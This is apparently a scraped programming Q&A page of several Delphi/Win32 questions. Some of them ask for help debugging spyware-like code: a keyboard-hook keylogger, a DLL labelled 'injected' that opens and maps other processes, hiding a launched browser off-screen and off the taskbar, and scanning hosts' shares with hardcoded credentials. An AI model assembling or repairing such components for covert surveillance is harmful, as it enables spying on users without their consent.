I have a delphi application loading a delphi dll which will send messages back to it. For testing, I have the dll sending message to another application, but they are not showing up.
dll code
type
TSampleRecord = packed record
card : string[50];
end;
var
handle: HWND;
procedure PrepareDLL(AppHandle : HWND); stdcall;
begin
handle := AppHandle;
end;
procedure ConfigccDLL(Variables: PChar); stdcall;
var
sampleRecord: TSampleRecord;
copyDataStruct: TCopyDataStruct;
receiverHandle: HWND;
begin
sampleRecord.card := 'FakeCard';
copyDataStruct.dwData := Integer(2);
copyDataStruct.cbData := SizeOf(sampleRecord);
copyDataStruct.lpData := #sampleRecord;
receiverHandle := FindWindow(PChar('TReceiverMainForm'),PChar('ReceiverMainForm'));
SendMessage(receiverHandle, WM_COPYDATA, Integer(Handle), Integer(#copyDataStruct));
end;
Receiver code
type
TSampleRecord = packed record
card : string[50];
end;
TReceiverMainForm = class(TForm)
cdMemo: TMemo;
procedure FormCreate(Sender: TObject);
private
procedure WMCopyData(var Msg : TWMCopyData); message WM_COPYDATA;
procedure HandleCopyDataRecord(copyDataStruct : PCopyDataStruct);
end;
var
ReceiverMainForm: TReceiverMainForm;
implementation
procedure TReceiverMainForm.FormCreate(Sender: TObject);
begin
cdMemo.Clear;
end;
procedure TReceiverMainForm.HandleCopyDataRecord(
copyDataStruct: PCopyDataStruct);
var
CodeRcvd: string;
sampleRecord : TSampleRecord;
begin
sampleRecord.card := TSampleRecord(CopyDataStruct.lpData^).card;
CodeRcvd := '$B';
cdMemo.Lines.Add(Format('Received record at %s',[DateToStr(Now)]));
cdMemo.Lines.Add(CodeRcvd);
cdMemo.Lines.Add(Format('sampleRecord.card = %s',[sampleRecord.card]));
cdMemo.Lines.Add(Format('sampleRecord size: %d %d',[SizeOf(sampleRecord), copyDataStruct.cbData]));
end;
procedure TReceiverMainForm.WMCopyData(var Msg: TWMCopyData);
begin
cdMemo.Lines.Add(Format('WM_CopyData from: %d',[msg.From]));
HandleCopyDataRecord(Msg.CopyDataStruct);
msg.Result := cdMemo.Lines.Count;
end;
end.
PrepareDLL gets passed the handle of the delphi application which calls the DLL.
The last two functions aren't implemented yet. I can post the receiver code if needed but it is working fine with other delphi applications built to be 'sender's.
The functions themselves get called fine, ShowMessage() function calls work.
I've checked the return code of SendMessage and RaiseLastError and they both state success.
I have a feeling this might have to do with UIPI but I've checked the 'integrity' of both applications with ProcessExplorer and they are both set to Medium.
This is on Windows Vista.
It does not work for me on Windows 10 only if Receiver is run as administrator. In this case you'll need following to allow it.
type
TChangeFilterStruct = packed record
cbSize: DWORD;
ExtStatus: DWORD;
end;
PChangeFilterStruct = ^TChangeFilterStruct;
const
MSGFLT_ALLOW = 1;
MSGFLT_DISALLOW = 2;
MSGFLT_RESET = 0;
{$WARN SYMBOL_PLATFORM OFF}
function ChangeWindowMessageFilterEx(Wnd: HWND; Message: UINT; Action: DWORD;
ChangeFilterStruct: PChangeFilterStruct): Bool; stdcall; external 'User32.dll' delayed;
{$WARN SYMBOL_PLATFORM ON}
ChangeWindowMessageFilterEx(ReceiverWindowHandle, WM_COPYDATA, MSGFLT_ALLOW, nil);
Update
Actually this function only exists since Windows 7, for Vista you need to use
ChangeWindowMessageFilter
Related
Based on my last question, I have a fully functional application that can execute an external process.
But there is a problem. When, for example, Internet Explorer is started, the browser window is not opened maximized.
How to make the browser window (or any other window) start in maximized mode?
Here is my code:
Form:
type
PEnumInfo = ^TEnumInfo;
TEnumInfo = record ProcessID: DWORD; HWND: THandle; end;
type
TForm1 = class(TForm)
btn1: TButton;
procedure btn1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
myPID: DWORD = 0;
implementation
uses
UTaskBarList;
{$R *.dfm}
function EnumWindowsProc(Wnd: DWORD; var EI: TEnumInfo): Bool; stdcall;
var
PID: DWORD;
begin
GetWindowThreadProcessID(Wnd, #PID);
Result := (PID <> EI.ProcessID) or (not IsWindowVisible(WND)) or (not IsWindowEnabled(WND));
if not Result then EI.HWND := WND;
end;
function FindMainWindow(PID: DWORD): DWORD;
var
EI: TEnumInfo;
begin
EI.ProcessID := PID;
EI.HWND := 0;
EnumWindows(#EnumWindowsProc, Integer(#EI));
Result := EI.HWND;
end;
procedure dgCreateProcess(const FileName: string);
var ProcInfo: TProcessInformation;
StartInfo: TStartupInfo;
begin
FillMemory(#StartInfo, sizeof(StartInfo), 0);
StartInfo.cb := sizeof(StartInfo);
// StartInfo.dwX := Screen.DesktopRect.BottomRight.X;
// StartInfo.dwY := Screen.DesktopRect.BottomRight.Y;
CreateProcess(
PChar(FileName),
nil,
nil, Nil, False,
NORMAL_PRIORITY_CLASS,
nil, nil,
StartInfo,
ProcInfo);
myPID := ProcInfo.dwProcessId;
CloseHandle(ProcInfo.hProcess);
CloseHandle(ProcInfo.hThread);
end;
procedure TForm1.btn1Click(Sender: TObject);
var
hWindow : DWORD;
szRect : TRect;
posX, posY, windW, windH: Integer;
begin
dgCreateProcess('C:\Program Files\Internet Explorer\iexplore.exe');
repeat
hWindow := FindMainWindow(myPID);//FindWindow('IEFrame', nil);
if hWindow > 0 then
begin
GetWindowRect(hWindow,szRect);
windW := szRect.Width;
windH := szRect.Height;
posX := Screen.DesktopRect.BottomRight.X;
posY := Screen.DesktopRect.BottomRight.Y;
MoveWindow(hWindow, posX, posY, windW, windH,True);
TTaskbarList.Remove(hWindow);
end;
until (IsWindowVisible(hWindow));
ShowMessage('outside of loop');
end;
end.
UTaskBarList:
unit UTaskBarList;
interface
uses ComObj, ShlObj;
type
ITaskbarList = interface
[SID_ITaskbarList]
function HrInit: HResult; stdcall;
function AddTab(hwnd: Cardinal): HResult; stdcall;
function DeleteTab(hwnd: Cardinal): HResult; stdcall;
function ActivateTab(hwnd: Cardinal): HResult; stdcall;
function SetActiveAlt(hwnd: Cardinal): HResult; stdcall;
end;
TTaskbarList = class
private
xTaskbarList: ITaskbarList;
public
constructor Create;
procedure Activate(hwnd: THandle);
procedure Add(hwnd: THandle);
procedure Delete(hwnd: THandle);
class procedure Insert(hwnd: THandle);
class procedure Remove(hwnd: THandle);
end;
implementation
constructor TTaskbarList.Create;
begin
inherited Create;
xTaskbarList := CreateComObject(CLSID_TaskbarList) as ITaskbarList;
xTaskbarList.HrInit;
end;
procedure TTaskbarList.Activate(hwnd: THandle);
begin
xTaskbarList.ActivateTab(hwnd);
end;
procedure TTaskbarList.Add(hwnd: THandle);
begin
xTaskbarList.AddTab(hwnd);
end;
procedure TTaskbarList.Delete(hwnd: THandle);
begin
xTaskbarList.DeleteTab(hwnd);
end;
class procedure TTaskbarList.Insert(hwnd: THandle);
begin
with TTaskbarList.Create do
begin
Add(hwnd);
Free;
end;
end;
class procedure TTaskbarList.Remove(hwnd: THandle);
begin
with TTaskbarList.Create do
begin
Delete(hwnd);
Free;
end;
end;
end.
The usual way to maximize a window in Windows is to call ShowWindow from Win32 API, passing the handle to the window and SW_MAXIMIZE as arguments, after the process has been started.
But when using CreateProcess to start a new process, you can instruct it to call ShowWindow for you, by setting the wShowWindow field of TStartupInfo to SW_MAXIMIZE.
The value you set in wShowWindow is only taken in account if you also set the STARTF_USESHOWWINDOW flag in the dwFlags field. The dwFlags bitfield determines whether certain members of the TStartupInfo record are used when the process creates a window.
Actually, ShowWindow is called automatically when a GUI process is started. By setting the wShowWindow field of TStartupInfo you are just telling it which value to use as argument for nCmdShow parameter on the first call to ShowWindow.
Add the following lines after StartInfo.cb := sizeof(StartInfo); in your code:
StartInfo.dwFlags := STARTF_USESHOWWINDOW;
StartInfo.wShowWindow := SW_MAXIMIZE;
All this is explained in documentation of STARTUPINFO structure:
wShowWindow
If dwFlags specifies STARTF_USESHOWWINDOW, this member can be any of the values that can be specified in the nCmdShow parameter for the
ShowWindow function, except for SW_SHOWDEFAULT. Otherwise, this member
is ignored.
For GUI processes, the first time ShowWindow is called, its nCmdShow parameter is ignored wShowWindow specifies the default value.
In subsequent calls to ShowWindow, the wShowWindow member is used if
the nCmdShow parameter of ShowWindow is set to SW_SHOWDEFAULT.
Unfortunately this does not work universally for all applications. You have to test it individually with every process that you intend to start with CreateProcess. For some applications setting SW_MAXIMIZED on the first call to ShowWindow might not be enough.
I'm developing a project to help me managing my remote network, as I need some very specific features I decided to code it.
I connect to the remote computers using WNetAddConnection2 and this part is working. But now I try to list all the shares (ADMIN$, C$, IPC$, and any shared folders) using the NetShareEnum function. I relied on this function and not on WNetEnumResource because I found more examples working with NetShareEnum, and it's working better for me. The problem is that my implementation of NetShareEnum is listing only some type of folders (looks like only folders that are shared but I have no access). It doesn't list normal folders (where I have access), ADMIN$, C$, IPC$, or anything else. Only shared folders that I'm without rights to access.
I still not sure if the behavior is the same on all servers, but the ones I tested it was. So far what I have is:
unit Unit1;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls;
type
TForm1 = class(TForm)
Memo1: TMemo;
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
HostFile: TStringList;
iHost: integer;
type
SharesThread = class(TThread)
strict private
IPAddress: String;
function Authenticate: bool;
procedure EnumShares(RemoteName: PWChar);
protected
constructor Create(const IPv4: string);
procedure Execute; override;
end;
type
_SHARE_INFO_502 = packed record
shi502_netname: PWideChar;
shi502_type: DWORD;
shi502_remark: PWideChar;
shi502_permissions: DWORD;
shi502_max_uses: DWORD;
shi502_current_uses: DWORD;
shi502_path: LPWSTR;
shi502_passwd: LPWSTR;
shi502_reserved: DWORD;
shi502_security_dsc: PSECURITY_DESCRIPTOR;
end;
SHARE_INFO_502 = _SHARE_INFO_502;
PSHARE_INFO_502 = ^SHARE_INFO_502;
LPSHARE_INFO_502 = PSHARE_INFO_502;
TShareInfo502 = SHARE_INFO_502;
PShareInfo502 = PSHARE_INFO_502;
type
TShareInfo502Array = Array [0..MaxWord] of TShareInfo502;
PShareInfo502Array = ^TShareInfo502Array;
function NetApiBufferFree(buffer: Pointer): DWORD; stdcall; external 'netapi32.dll';
function NetShareEnum(servername: PWideChar;
level: DWORD;
bufptr: PByteArray;
prefmaxlen: DWORD;
entriesread: PDWORD;
totalentries: PDWORD;
resume_handle: PDWORD): DWORD; stdcall; external 'netapi32.dll';
implementation
const
NERR_Success = 0;
MAX_PREFERRED_LENGTH = DWORD( -1 );
procedure StartThreads;
var
CurrentIP: string;
begin
if (iHost < HostFile.Count) then
begin
CurrentIP:= HostFile.Strings[iHost];
inc(iHost);
SharesThread.Create(CurrentIP);
end
else
Form1.Memo1.Lines.Add('finished');
end;
constructor SharesThread.Create(const IPv4: string);
begin
inherited Create(false);
FreeOnTerminate:= true;
IPAddress:= IPv4;
end;
function SharesThread.Authenticate;
var
lpNetResource: TNetResource;
myres: cardinal;
begin
with lpNetResource do
begin
dwType := RESOURCETYPE_ANY;
lpLocalName := nil;
lpProvider := nil;
lpRemoteName:= PChar('\\'+IPAddress);
end;
myres := WNetAddConnection2(lpNetResource, PChar('123456'), PChar('BlackNote'), 0);
if ( myres = NO_ERROR ) then
begin
Result:= true;
EnumShares(lpNetResource.lpRemoteName);
end
else
begin
Result:= false;
end;
end;
procedure SharesThread.EnumShares(RemoteName: PWChar);
var
p: PShareInfo502Array;
res, er, tr, resume, i: DWORD;
begin
repeat
res:=NetShareEnum(RemoteName, 502, #p, MAX_PREFERRED_LENGTH, #er, #tr, #resume);
if (res = ERROR_SUCCESS) or (res = ERROR_MORE_DATA) then
begin
for i:=1 to Pred(er) do
begin
Form1.Memo1.Lines.Add(String(p^[i].shi502_netname));
end;
NetApiBufferFree(p);
end;
until (res <> ERROR_MORE_DATA);
end;
procedure SharesThread.Execute;
begin
if Authenticate then
Form1.Memo1.Lines.Add(IPAddress + '=' + 'Listed shares above')
end;
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
begin
HostFile:= TStringList.Create;
HostFile.LoadFromFile('Hosts.txt');
iHost:= 0;
StartThreads;
end;
end.
I can post my IP address here to you try this project, but not sure if this is under the rules. Anyway, is something wrong with this code?
I think you have BAD multithreading issues.
First of all, check if the very API you use is thread-safe.
I did not found this particular information, but http://computer-programming-forum.com/82-mfc/8e7756aee43ed65a.htm
Maybe you just can not call that function from different threads at the same time.
Second: all hundreds of your threads do Form1.Memo1.Lines.Add(String(p^[i].shi502_netname)) - that is VERY wrong.
You CAN NOT access GUI objects from threads. CAN NOT. Period.
See Delphi 7 Occasional deadlock changing TLabel.Font.Style from IdHTTPListener event for example.
The very process of loading form from DFM-resource, initializing it, creating Windows and Delphi objects and binding them, together is complex.
When at the same time hundreds of threads are crashing into half-created from and updating half-created MEMO they literally do destroy actions of one another.
Basically you told us that Windows did not returned you all the shares - but what you mean is that half-created TMemo abused by hundreds of threads does not show you all the shares. That is not the same, that might mean Windows work badly, but it also might mean Windows works ok, but you fail to put all the results into VCL GUI. You have to ensure what exactly happened.
Try getting shares
1.1 only in one single thread!
1.2 and that should be MAIN thread, not extra ones.
1.3 and you only should start it after the form is created - for example from some button click event.
And check if there is the difference.
You should not add data by one line to the memo - it is VERY slow.
Make a simple test.
uses Hourglass; // http://www.deltics.co.nz/blog/posts/tag/delticshourglass
const cMax = 10000;
procedure TForm1.Button1Click( Sender: TObject );
var sl: TStrings; i: integer; t: cardinal;
begin
HourglassOn();
t := GetTickCount();
sl := TStringList.Create;
try
for i := 1 to cMax do
sl.Add(IntToStr(i));
Memo1.Lines.Clear;
Memo1.Lines.AddStrings(sl);
finally
sl.Destroy;
end;
t := GetTickCount - t;
ShowMessage('It took ' + IntoToStr(t) + '/1000 seconds');
end;
procedure TForm2.Button1Click( Sender: TObject );
var i: integer; t: cardinal;
begin
HourglassOn();
t := GetTickCount();
Memo1.Lines.Clear;
for i := 1 to cMax do begin
Memo1.Lines.Add(IntToStr(i));
// giving Windows chance to repaint the memo
// simulating access from extra threads
// when main thread is free to repaint forms time and again
Application.ProcessMessages;
end;
t := GetTickCount - t;
ShowMessage('It took ' + IntoToStr(t) + '/1000 seconds');
end;
So a little draft to test your issues might be like this
http://docwiki.embarcadero.com/Libraries/XE2/en/System.IOUtils.TFile.ReadAllLines
http://www.thedelphigeek.com/2010/06/omnithreadlibrary-20-sneak-preview-1.html
http://www.thedelphigeek.com/2010/11/multistage-processes-with.html
http://otl.17slon.com/book/chap04.html#highlevel-pipeline
Just a draft for you to look into generic approach
const WM_EnumEnded = WM_USER + 1;
type TFrom1 = class(TForm)
Memo1: TMemo;
Button1: TButton;
Button2: TButton;
....
public
var Enums: iOmniBlockingCollection;
procedure StartEnum( const SingleThread: boolean );
procedure ShowResults( var m: TMessage); message WM_EnumEnded;
.....
procedure TFrom1.StartEnum( const SingleThread: boolean );
var hosts: TStringDynArray; // TArray<string>, array of string....
Source: IOmniBlockingCollection;
iWorker: IOmniParallelLoop<T>; // variable only needed for if-then-else
begin
hosts := TFile.ReadAllLines('hosts.txt');
Self.Enums := TOmniBlockingCollection.Create; // Results accumulator
Source := TOmniBlockingCollection.Create;
Source.Add( TOmniValue.FromArray<string>(hosts) );
iWorker := Parallel.ForEach<string>( Source ).NoWait().OnStop(
procedure begin PostMessage( Self.Handle, WM_EnumEnded, 0, 0) end
);
if SingleThread then iWorker := iWorker.NumTasks(1);
iWorker.Execute(
procedure(const value: String)
var i: integer;
begin
....
res:=NetShareEnum(RemoteName, 502 { 503 better ?? } ... );
....
Self.Enums.Add( TOmniValue(String(p^[i].shi502_netname)) );
...
end;
);
end;
procedure TFrom1.ShowResults( var m: TMessage );
var sa: TArray<String>;
begin
Self.Enums.CompleteAdding;
sa := TOmniblockingCollection.ToArray<string>( Self.Enums );
Memo1.Clear;
Memo1.Lines.AddStrings( sa );
end;
procedure TFrom1.Button1Click(sender: Tobject);
begin
StartEnum( True );
end;
procedure TFrom1.Button2Click(sender: Tobject);
begin
StartEnum( False );
end;
Trying to setup a SetWindowsHookEx(WH_KEYBOARD) from a console app. I'm doing this inside thread, because I tried to to use the TThread.WaitFor method to keep the application openned, while the thread is running.
Important code parts:
type
THookKeyboard = procedure; stdcall;
KeyloggerThread = class(TThread)
private
const
MESSAGE_CODE = WM_USER + $1000;
var
HookOn, HookOff: THookKeyboard;
MsgReceptor: ^Integer;
MemFile: THandle;
function InstallKeyLogger(const TempDir: String): bool;
procedure HookMessage(var MessageHandler: TMessage); message MESSAGE_CODE;
protected
constructor Create;
procedure Execute; override;
end;
var
KeylogThreadCtrl: KeyloggerThread;
function KeyloggerThread.InstallKeyLogger(const TempDir: String): bool;
var
DLLHandle: THandle;
begin
Result:= false;
if FileExists(TempDir + DLLName) = true then
begin
DLLHandle:= LoadLibrary(PChar(TempDir + DLLName));
if DLLHandle <> 0 then
begin
#HookOn:= GetProcAddress(DLLHandle, 'HookOn');
#HookOff:= GetProcAddress(DLLHandle, 'HookOff');
end;
if assigned(HookOn) and assigned(HookOff) then
begin
MemFile:= CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0,SizeOf(Integer), 'Win32KLCom');
if MemFile <> 0 then
begin
MessageBox(0, 'starting keylogger', 'hook', MB_OK);
MsgReceptor:= MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0);
HookOn;
Result:= true;
end;
end;
end;
end;
procedure KeyloggerThread.HookMessage(var MessageHandler: TMessage);
begin
MessageBox(0, 'pressed something!', 'hook', MB_OK);
end;
constructor KeyloggerThread.Create;
begin
inherited Create(false);
end;
procedure KeyloggerThread.Execute;
begin
while not Terminated do
begin
if not assigned(HookOn) then
if InstallKeyLogger(ExtractFilePath(ParamStr(0))) = false then
Terminate;
end;
end;
begin
if ParamStr(1) = '-runkeylog' then
begin
MessageBox(0, 'going to install keylogger', 'hook', MB_OK);
KeylogThreadCtrl:= KeyloggerThread.Create;
KeylogThreadCtrl.WaitFor;
end
end;
I know the InstallKeyLogger function is going fine, because I get the messagebox 'starting keylogger'.
Once I press any key, windows start freezing and I need to finish the application. The DLL code is:
library KeyboardDLL;
uses
Windows,
Messages;
{$R *.res}
const
MESSAGE_CODE = WM_USER + $1000;
var
KeyboardHook: HHook;
MemFile: THandle;
MsgReceptor: ^Integer;
function HookCallBack( Code : Integer;
wParam : WPARAM;
lParam : LPARAM
) : LRESULT; stdcall;
begin
if code=HC_ACTION then
begin
MemFile:= OpenFileMapping(FILE_MAP_WRITE,False, 'Win32KLCom');
if MemFile<>0 then
begin
MsgReceptor:= MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0);
PostMessage(MsgReceptor^,MESSAGE_CODE,wParam,lParam);
end;
end;
Result:= CallNextHookEx(KeyboardHook, Code, wParam, lParam)
end;
procedure HookOn; stdcall;
begin
KeyboardHook:= SetWindowsHookEx(WH_KEYBOARD, #HookCallBack, HInstance , 0);
end;
procedure HookOff; stdcall;
begin
UnmapViewOfFile(MsgReceptor);
CloseHandle(MemFile);
UnhookWindowsHookEx(KeyboardHook);
end;
exports
HookOn,
HookOff;
begin
end.
It looks like you ported your hosting code from a VCL application, because you have some assumptions that don't hold for stand-alone threads, like the one you have there:
procedure HookMessage(var MessageHandler: TMessage); message MESSAGE_CODE;
Message procedures like this one only work in the context of a VCL form or control.
You can only post messages (use PostMessage) to window handles, not memory mapped files (as you attempt with the MsgReceptor pointer).
If you want your thread to be able to process messages, you must create a window handle and the thread must have a message loop (GetMessage/DispatchMessage, or similar).
I have the following procedure:
procedure MyMainThread.MapProc;
var
Handle: THandle;
PID: dword;
Struct: TProcessEntry32;
Processes: TStringList;
begin
Handle:= CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
Struct.dwSize:=Sizeof(TProcessEntry32);
Process32First(Handle, Struct);
Processes:= TStringList.Create;
repeat
Processes.Add(Struct.szExeFile);
Processes.SaveToFile('C:\Log.txt');
PID:= Struct.th32ProcessID;
PIDHandle:= OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_OPERATION or
PROCESS_VM_READ, false, PID);
CloseHandle(PIDHandle);
until (not Process32Next(Handle,Struct));
Processes.Free;
end;
As you can see, I save the running processes inside C:\Log.txt, and this works nice when inside an .exe file. Now I'm trying to implement this inside a .DLL file, and the concept is: The DLL will be loaded, and it will have an EntryPoint calling a Thread.Create... This Thread will use a SetTimer to run the procedure MapProc every 10 seconds to save the running processes in C:\Log.txt. The code is:
library Project1;
uses
Windows,
SysUtils,
Classes,
Registry,
EncdDecd,
TLHelp32,
IdHTTP;
{$R *.res}
type
MyMainThread = Class(TThread)
var
DestDir, ContactHost: String;
Sent: TStringList;
PIDHandle: THandle; //need to be public because we use in MapProc / CatchYa
private
procedure MapProc;
procedure MapMemory(ProcessName: string);
procedure CreateMessagePump;
protected
constructor Create;
procedure Execute; override;
end;
constructor MyMainThread.Create;
begin
inherited Create(false);
FreeOnTerminate:= true;
Priority:= tpNormal;
end;
procedure MyMainThread.Execute;
begin
while not Terminated do
begin
SetTimer(0, 0, 10000, #MyMainThread.MapProc); //setting timer 10 seconds calling MapProc
CreateMessagePump; //we are inside DLL so I think we need Message Pump to timer work
Terminate;
end;
end;
procedure MyMainThread.MapProc;
var
Handle: THandle;
PID: dword;
Struct: TProcessEntry32;
Processes: TStringList;
begin
Handle:= CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
Struct.dwSize:=Sizeof(TProcessEntry32);
Process32First(Handle, Struct);
Processes:= TStringList.Create;
repeat
Processes.Add(Struct.szExeFile);
Processes.SaveToFile('C:\Log.txt');
PID:= Struct.th32ProcessID;
PIDHandle:= OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_OPERATION or
PROCESS_VM_READ, false, PID);
if POS(Struct.szExeFile, ExeName) = 0 then
MapMemory(Struct.szExeFile); //procedure called for verification purposes, but it's not even getting called
CloseHandle(PIDHandle);
until (not Process32Next(Handle,Struct));
Processes.Free;
end;
procedure MyMainThread.CreateMessagePump;
var
AppMsg: TMsg;
begin
while GetMessage(AppMsg, 0, 0, 0) do
begin
TranslateMessage(AppMsg);
DispatchMessage(AppMsg);
end;
//if needed to quit this procedure use PostQuitMessage(0);
end;
procedure EntryPoint(Reason: integer);
begin
if Reason = DLL_PROCESS_ATTACH then
begin
MyMainThread.Create;
end
else
if Reason = DLL_PROCESS_DETACH then
begin
MessageBox(0, 'DLL De-Injected', 'DLL De-Injected', 0);
end;
end;
begin
DLLProc:= #EntryPoint;
EntryPoint(DLL_PROCESS_ATTACH);
end.
But when running this, I get in the Log.txt file only the line: [System Process]
The exe hosting DLL is:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var
HD: THandle;
begin
HD:= LoadLibrary('C:\Project1.dll');
end;
end.
The reason that your code fails is that you're not using a proper callback for the SetTimer function. As per the documentation that should have a signature like
procedure (hwnd: HWND; uMsg: UINT; idEvent: UINT_PTR; dwTime: DWORD); stdcall;
Your incompatible callback - which is a class method - causes the code to think the Self lives at a completely arbitrary memory address, as class methods has an implicit Self parameter but winapi has no knowledge of that. Now when the code tries to write to an invalid address - 'PIDHandle', assuming there should be a class field, an AV is raised and since the exception is not handled the rest of the code is not executed - also as explained in David's answer.
Your solution is to use a proper callback. To access class members you can use a global variable. Not using a global variable would require some hacky code (google for MethodToProcedure f.i.)
A sample could be like:
threadvar
MyThread: MyMainThread;
procedure TimerProc(hwnd: HWND; uMsg: UINT; idEvent: UINT_PTR; dwTime: DWORD);
stdcall;
var
Handle: THandle;
PID: dword;
Struct: TProcessEntry32;
Processes: TStringList;
begin
Handle:= CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
Struct.dwSize:=Sizeof(TProcessEntry32);
Process32First(Handle, Struct);
Processes:= TStringList.Create;
repeat
Processes.Add(Struct.szExeFile);
Processes.SaveToFile('C:\Temp\Log3.txt');
PID:= Struct.th32ProcessID;
MyThread.PIDHandle:= OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_OPERATION or
PROCESS_VM_READ, false, PID);
if POS(Struct.szExeFile, ExeName) = 0 then
MyThread.MapMemory(Struct.szExeFile);
CloseHandle(MyThread.PIDHandle);
until (not Process32Next(Handle,Struct));
Processes.Free;
end;
procedure MyMainThread.Execute;
begin
while not Terminated do
begin
MyThread := Self;
SetTimer(0, 0, 10000, #TimerProc);
CreateMessagePump;
Terminate;
end;
end;
To take David's advice, not to get beaten by the '#' operator, we should first redeclare the SetTimer function to use the callback correctly. That would look something like:
threadvar
MyThread: MyMainThread;
procedure TimerProc(hwnd: HWND; uMsg: UINT; idEvent: UINT_PTR; dwTime: DWORD);
stdcall;
var
..
begin
..
end;
type
TFnTimerProc = procedure (hwnd: HWND; uMsg: UINT; idEvent: UIntPtr;
dwTime: DWORD); stdcall;
function SetTimer(hWnd: HWND; nIDEvent: UIntPtr; uElapse: UINT;
lpTimerFunc: TFNTimerProc): UINT; stdcall; external user32;
procedure MyMainThread.Execute;
begin
MyThread := Self;
SetTimer(0, 0, 10000, TimerProc);
CreateMessagePump;
end;
Here's a version that works as you'd expect. This proves that process enumeration using toolhelp32 works perfectly well from a DLL.
Library
library ProcessEnumLib;
uses
SysUtils, Classes, Windows, TlHelp32;
type
TMyThread = class(TThread)
protected
procedure Execute; override;
end;
procedure TMyThread.Execute;
var
Handle: THandle;
PID: dword;
ProcessEntry: TProcessEntry32;
Processes: TStringList;
begin
Handle := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
Win32Check(Handle<>0);
try
ProcessEntry.dwSize := Sizeof(TProcessEntry32);
Win32Check(Process32First(Handle, ProcessEntry));
Processes := TStringList.Create;
try
repeat
Processes.Add(ProcessEntry.szExeFile);
until not Process32Next(Handle, ProcessEntry);
Processes.SaveToFile('C:\Desktop\Log.txt');
finally
Processes.Free;
end;
finally
CloseHandle(Handle);
end;
end;
begin
TMyThread.Create;
end.
Host
program ProcessEnumHost;
{$APPTYPE CONSOLE}
uses
Windows;
begin
LoadLibrary('ProcessEnumLib.dll');
Sleep(1000);
end.
Your version is failing because the call to OpenProcess is raising an access violation which is killing the thread. Right now, I'm not sure why that is so.
I suggest that you simplify grossly. You don't need a message loop, and you don't need a timer. You can use Sleep in your thread to pause between process maps. Something like this:
library ProcessEnumLib;
uses
SysUtils, Classes, Windows, TlHelp32;
type
TMyThread = class(TThread)
protected
procedure Execute; override;
end;
procedure TMyThread.Execute;
var
Handle, ProcessHandle: THandle;
ProcessEntry: TProcessEntry32;
Processes: TStringList;
begin
while True do
begin
Handle := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
Win32Check(Handle<>0);
try
ProcessEntry.dwSize := Sizeof(TProcessEntry32);
Win32Check(Process32First(Handle, ProcessEntry));
Processes := TStringList.Create;
try
repeat
Processes.Add(ProcessEntry.szExeFile);
ProcessHandle := OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_OPERATION or PROCESS_VM_READ, false, ProcessEntry.th32ProcessID);
CloseHandle(ProcessHandle);
until not Process32Next(Handle, ProcessEntry);
Processes.SaveToFile('C:\Desktop\Log.txt');
finally
Processes.Free;
end;
finally
CloseHandle(Handle);
end;
Sleep(10000);//10s sleep
end;
end;
begin
TMyThread.Create;
end.
I've no idea why, but this variant avoids the AV when calling OpenProcess. I'd love to know why. But it's the right way for you to do what you want, and it side-steps the problem.
To communicate with micro controllers I use the serial port. I use TCommPortDriver 2.1 which works fine. However, it lacks the ability to detect the addition or removal of new comports. This happens regularly during a session.
Is there an event that tells when a comport has been added or removed?
Update 1
I tried the first suggestion of RRUZ and turned it into a standalone program. It reacts on a WM_DEVICECHANGE when the cable is plugged in or out, but WParam does not show arrival or removal of the device. Results are:
msg = 537, wparam = 7, lparam = 0
msg = 537, wparam = 7, lparam = 0
msg = 537, wparam = 7, lparam = 0
The first message is sent when the USB cable is plugged out and the next two when it is plugged in.
The message part shows the WM_DEVICECHANGE message (537) but WParam is 7, which is not WM_DEVICECHANGE or DBT_DEVICEARRIVAL. I modified the code somewhat in order the message to be processed but as LParam is zero this is no use. Results are identical to VCL and FMX. As a check see code below.
Update 2
I now got the WMI code running. It only fires when a COM port is added, no reaction when one is removed. Results:
TargetInstance.ClassGuid : {4d36e978-e325-11ce-bfc1-08002be10318}
TargetInstance.Description : Arduino Mega ADK R3
TargetInstance.Name : Arduino Mega ADK R3 (COM4)
TargetInstance.PNPDeviceID : USB\VID_2341&PID_0044\64935343733351E0E1D1
TargetInstance.Status : OK
Might this explain the fact that in the other code this is not seen as the addition of a COM port? It appears to see the new connection as a USB port (what it actually is). The Arduino driver translates this into a COM port but that is not recognized by WMI. Windows messaging 'sees' a COM port change but cannot detect whether it is added or removed.
Anyhow: the device change works. I only need to enumerate the COM ports to see which one are actually present and that was something I already did manually. Now I can do that automatically with WM_DEVICECHANGE. I just add an event to the CPDrv component.
Thanks RRUZ for your code and help!
unit dev_change;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls;
type
TProc = procedure (text: string) of object;
BroadcastHdr = ^DEV_BROADCAST_HDR;
DEV_BROADCAST_HDR = packed record
dbch_size: DWORD;
dbch_devicetype: DWORD;
dbch_reserved: DWORD;
end;
TDevBroadcastHdr = DEV_BROADCAST_HDR;
type
PDevBroadcastDeviceInterface = ^DEV_BROADCAST_DEVICEINTERFACE;
DEV_BROADCAST_DEVICEINTERFACE = record
dbcc_size: DWORD;
